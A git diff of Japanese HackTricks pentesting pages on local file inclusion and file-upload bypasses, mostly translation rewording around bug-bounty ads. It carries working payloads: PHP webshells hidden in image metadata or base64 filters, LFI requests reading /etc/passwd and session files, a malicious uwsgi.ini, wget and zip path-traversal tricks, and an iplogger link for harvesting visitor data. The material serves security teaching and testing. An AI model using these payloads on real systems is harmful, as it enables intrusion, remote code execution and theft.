2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) をインクルードします。ここで、$PID はプロセスのPID(ブルートフォースで見つけることができます)、$FD はファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
|
||||
|
||||
### /proc/self/environを介して
|
||||
### /proc/self/environ 経由
|
||||
|
||||
ログファイルのように、User-Agentでペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
|
||||
ログファイルのように、ペイロードをUser-Agentに送信し、それが/proc/self/environファイル内に反映されます。
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
|
@ -587,26 +584,26 @@ login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|||
1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。
|
||||
|
||||
```
|
||||
http://example.com/page.php?file=../../../etc/passwd
|
||||
http://example.com/index.php?page=../../etc/passwd
|
||||
```
|
||||
|
||||
上記の例では、`file`パラメータに`../../../etc/passwd`を指定しています。
|
||||
上記の例では、`page`パラメータに`../../etc/passwd`を指定しています。
|
||||
|
||||
2. LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。
|
||||
|
||||
```
|
||||
http://example.com/page.php?file=/var/www/html/index.php
|
||||
http://example.com/index.php?page=/etc/passwd
|
||||
```
|
||||
|
||||
上記の例では、`file`パラメータに`/var/www/html/index.php`を指定しています。
|
||||
上記の例では、`page`パラメータに`/etc/passwd`を指定しています。
|
||||
|
||||
3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。
|
||||
|
||||
```
|
||||
http://example.com/page.php?file=/var/lib/php/sessions/sess_1234567890abcdef
|
||||
http://example.com/index.php?page=/var/lib/php/sessions/sess_1234567890abcdef
|
||||
```
|
||||
|
||||
上記の例では、`file`パラメータに`/var/lib/php/sessions/sess_1234567890abcdef`を指定しています。
|
||||
上記の例では、`page`パラメータに`/var/lib/php/sessions/sess_1234567890abcdef`を指定しています。
|
||||
|
||||
## 対策方法
|
||||
|
||||
|
@ -629,9 +626,7 @@ sshがアクティブな場合、使用されているユーザーを確認し
|
|||
|
||||
### PHPベース64フィルターを介して(base64を使用)
|
||||
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事で示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用してファイル拡張子のチェックをバイパスできます。もしも".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。
|
||||
|
||||
以下は例のペイロードです:
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事で示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用してファイル拡張子のチェックをバイパスできます。もしも「.php」で終わるベース64を提供すると、フィルターは「.」を無視してベース64に「php」を追加します。以下は例のペイロードです:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -653,7 +648,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Nginxの一時ファイルストレージを介して
|
||||
### Nginx一時ファイルストレージを介して
|
||||
|
||||
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。
|
||||
|
||||
|
@ -717,7 +712,7 @@ _PHP致命的なエラーを引き起こしても、アップロードされたP
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -728,7 +723,7 @@ HackenProofの報奨金は、顧客が報酬予算を入金した後に開始さ
|
|||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長途中のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
|
@ -738,7 +733,7 @@ HackenProofの報奨金は、顧客が報酬予算を入金した後に開始さ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)@carlospolopmをフォローしてください。
|
||||
|
|
|
@ -47,7 +47,7 @@
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. 拡張子パーサーを**トリック**して、サーバーサイドでの保護を**バイパス**するためのテクニックを使用します。拡張子を**2重に**したり、拡張子の間に**ジャンク**データ(**ヌル**バイト)を追加したりすることができます。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
|
||||
4. 拡張子パーサーを**トリック**して、サーバーサイドでの保護を**バイパス**するために、**拡張子を2重にする**か、**ジャンク**データ(**ヌル**バイト)を拡張子の間に追加するなどのテクニックを使用してみてください。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,15 +59,15 @@
|
|||
5. 前のチェックに**別のレイヤーの拡張子**を追加します:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待します。 (拡張子が**.php**で終わらないが、**.php**であるものはすべてコードを実行するApacheの誤構成を悪用するのに役立ちます):
|
||||
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待します。 (拡張子が **.php** で終わらないが、**.php** で終わるものはすべてコードを実行するApacheの誤構成を悪用するのに役立ちます):
|
||||
* _例:file.php.png_
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、短いファイル名を使用することができます。 「**::$data**」パターンも空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、その短いファイル名を使用することができます。 「**::$data**」パターンも、空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)
|
||||
8. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り詰められ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linuxの最大255バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
|
||||
```markdown
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
@ -80,13 +80,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* **Content-Type** チェックをバイパスするには、**Content-Type** ヘッダーの **値** を _image/png_、_text/plain_、_application/octet-stream_ に設定します。
|
||||
1. Content-Type ワードリスト: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* **マジックナンバー** チェックをバイパスするには、ファイルの先頭に **実際の画像のバイト** を追加します(_file_ コマンドを混乱させます)。または、シェルを **メタデータ** に挿入します:\
|
||||
* **マジックナンバー** チェックをバイパスするには、ファイルの先頭に **実際の画像のバイト** を追加します(_file_ コマンドを混乱させます)。または、シェルを **メタデータ** 内に導入します:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
または、画像に **ペイロードを直接挿入** することもできます:\
|
||||
または、画像に **ペイロードを直接導入** することもできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* 画像に **圧縮が追加されている** 場合、たとえば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のようないくつかの標準的な PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、**PLTE チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* 画像に **圧縮が追加されている** 場合、例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準の PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、**PLTE チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* ウェブページが **画像のリサイズ** を行っている場合、たとえば PHP-GD の `imagecopyresized` または `imagecopyresampled` 関数を使用している場合、前述のテクニックは役に立ちません。ただし、**IDAT チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* ウェブページが **画像のリサイズ** を行っている場合、例えば PHP-GD の関数 `imagecopyresized` または `imagecopyresampled` を使用している場合、前述のテクニックは役に立ちません。ただし、**IDAT チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* **画像のリサイズを生き残る** ペイロードを作成するための別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用することができます。ただし、**tEXt チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
@ -98,32 +98,33 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* **情報漏洩の可能性**:
|
||||
1. **同じ名前** の **同じファイル** を **複数回**(かつ **同時に**)アップロードする。
|
||||
2. **既に存在するファイル** または **フォルダ** の **名前** を持つファイルをアップロードする。
|
||||
3. 名前が **“.”、“..”、“…”** のファイルをアップロードする。たとえば、Apache の **Windows** では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、 “.” のファイル名は “/www/” ディレクトリに “uploads” というファイルを作成します。
|
||||
3. **“.”、“..”、“…”** を名前とするファイルをアップロードする。たとえば、Apache の **Windows** では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、 “.” のファイル名は “/www/” ディレクトリに “uploads” というファイルを作成します。
|
||||
4. **NTFS** での **“…:.jpg”** のように、簡単に削除できないファイルをアップロードする。 (Windows)
|
||||
5. 名前に `|<>*?”` のような **無効な文字** を含むファイルを **Windows** にアップロードする。 (Windows)
|
||||
6. **CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9** のような **予約済み**(禁止されている)**名前** を使用して **Windows** にファイルをアップロードする。
|
||||
* 実行可能なファイル(.exe)または(疑わしくない).html ファイルをアップロードし、被害者が誤って開いたときにコードを実行する。
|
||||
5. **Windows** で、名前に `|<>*?”` のような **無効な文字** を含むファイルをアップロードする。 (Windows)
|
||||
6. **Windows** で、CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9 のような **予約済み**(禁止されている)**名前** を使用してファイルをアップロードする。
|
||||
|
||||
* 実行可能なファイル(.exe)または誤って開かれた場合にコードを実行する可能性のある **.html**(疑わしくない)をアップロードしてみてください。
|
||||
|
||||
### 特殊な拡張子のトリック
|
||||
|
||||
**PHP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.htaccess** のトリックを参照してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||
**ASP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.config** のトリックを参照してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP と同様に使用することができます(PHP で実行したり、スクリプト内でインクルードしたり...)。
|
||||
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP で使用することができます(PHP で実行するか、スクリプト内でインクルードするなど)...
|
||||
|
||||
`.inc` 拡張子は、ファイルを **インポートするためだけに使用される** PHP ファイルに使用されることがありますので、いずれかの時点で、この拡張子が実行されるように許可されている可能性があります。
|
||||
`.inc` 拡張子は、ファイルを **インポートするためだけに使用される** PHP ファイルに使用されることがありますので、いずれかの時点で、**この拡張子が実行されるように許可されている** 可能性があります。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml と \*.war は自動的に処理** されるため、RCE を取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードし、シェルを期待します!
|
||||
Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml と \*.war は自動的に処理** されるため、RCE を取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードし、シェルを期待してください!
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1).png>)
|
||||
![](<../../.gitbook/assets/image (1) (3) (1) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
[**uWSGI サーバーの .ini** 設定ファイルを置き換えることができる場合、RCE を取得できます](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**。** 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、'@' 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、プロセスの標準出力から読み取るために便利な「exec」も含まれています。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/読み取りに使用できます。
|
||||
[**uWSGI サーバーの .ini** 設定ファイルを置き換えることができる場合、RCE を取得できます](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、'@' 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、「exec」はプロセスの標準出力から読み取るために便利です。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/読み取りに使用できます。
|
||||
|
||||
悪意のある `uwsgi.ini` ファイル
|
||||
悪意のある `uwsgi.ini` ファイルの例:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -147,7 +148,7 @@ characters = @(call://uwsgi_func)
|
|||
|
||||
## **wgetファイルのアップロード/SSRFトリック**
|
||||
|
||||
特定の場合に、サーバーが**`wget`**を使用してファイルをダウンロードし、**URL**を指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、**このチェックは回避できます。**\
|
||||
特定の場合に、サーバーが**`wget`**を使用してファイルをダウンロードし、**URL**を指定できることがあります。この場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、**このチェックは回避できます。**\
|
||||
**Linux**での**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。したがって、**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードできます。このファイル名はチェックを**バイパス**します(この例では**".gif"**が**有効な**拡張子です)。ただし、`wget`はファイルを**"A"\*232+".php"**という名前に**リネーム**します。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -171,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意してください。このチェックをバイパスするために考えている**別のオプション**は、**HTTPサーバーを別のファイルにリダイレクトさせる**ことです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは**wgetがパラメータ`--trust-server-names`とともに使用されている場合にのみ機能します**。なぜなら、**wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです**。
|
||||
**別のオプション**として考えられるのは、**HTTPサーバーが別のファイルにリダイレクトする**ようにすることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが**パラメータ**`--trust-server-names`とともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
|
||||
|
||||
#### その他のリソース
|
||||
|
||||
|
@ -179,8 +180,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
|
||||
## ツール
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass)は、ペンテスターやバグハンターがファイルのアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティの技術を活用して、ウェブアプリケーションの評価を徹底的に行い、脆弱性を特定し、悪用するプロセスを簡素化します。
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass)は、ペンテスターやバグハンターがファイルのアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティの技術を活用して、Webアプリケーションの脆弱性を特定し、悪用するプロセスを簡素化し、徹底的な評価を行います。
|
||||
|
||||
## ファイルのアップロードから他の脆弱性へ
|
||||
|
||||
* **ファイル名**を`../../../tmp/lol.png`に設定し、**パストラバーサル**を試みます
|
||||
|
@ -190,16 +194,16 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* [画像(svg)ファイルのXSS](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS**ファイルの**アップロード**+ **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [svgファイルの**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**さまざまなsvgペイロード**を試してみてください
|
||||
* [svgファイルのアップロードによる**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)から**さまざまなsvgペイロード**を試してみてください
|
||||
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* ウェブサーバーに画像をURLからキャッチさせることができる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**がいくつかの**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* ウェブサーバーに画像をURLからキャッチさせることができる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* XSSのために特別に作成されたPDF:[次のページでは、PDFデータを注入してJSの実行を行う方法](../xss-cross-site-scripting/pdf-injection.md)を示しています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するためのPDFを準備することができます。
|
||||
* 特に作成されたPDFを使用したXSS:[次のページでは、PDFデータを注入してJSの実行を行う方法](../xss-cross-site-scripting/pdf-injection.md)を示しています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するためのPDFを準備することができます。
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))のコンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
|
||||
* ファイルのアップロード時に**サイズ制限**があるかどうかを確認します
|
||||
|
||||
以下は、アップロードによって達成できる10のことのトップ10リストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||||
以下は、アップロードによって達成できる10のことを示したトップ10リストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webシェル / RCE
|
||||
2. **SVG**:格納型XSS / SSRF / XXE
|
||||
|
@ -225,7 +229,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
### 自動的に解凍されるZip/Tarファイルのアップロード
|
||||
|
||||
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます:
|
||||
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます:
|
||||
|
||||
#### シンボリックリンク
|
||||
|
||||
|
@ -241,7 +245,7 @@ tar -cvf test.tar symindex.txt
|
|||
|
||||
OSレベルのコマンド実行から悪意のあるファイルのアップロードを保護するために、この設定が有効であると簡単に想像することができますが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、さらに上位のディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
この種のファイルを作成するための自動化されたエクスプロイトは、こちらで見つけることができます: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
この種のファイルを作成するための自動化されたエクスプロイトはこちらで見つけることができます: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
```python
|
||||
python2 evilarc.py -h
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
|
@ -304,7 +308,7 @@ root@s2crew:/tmp#
|
|||
```
|
||||
完了!
|
||||
|
||||
あと一つ手順が残っています:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが存在します:
|
||||
あと一つのステップが残っています:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが存在します:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
|
@ -323,7 +327,7 @@ pop graphic-context
|
|||
|
||||
IDATチャンクにウェブシェルを配置する主な理由は、リサイズや再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
|
||||
|
||||
この投稿を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
この記事を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -20,12 +20,12 @@
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
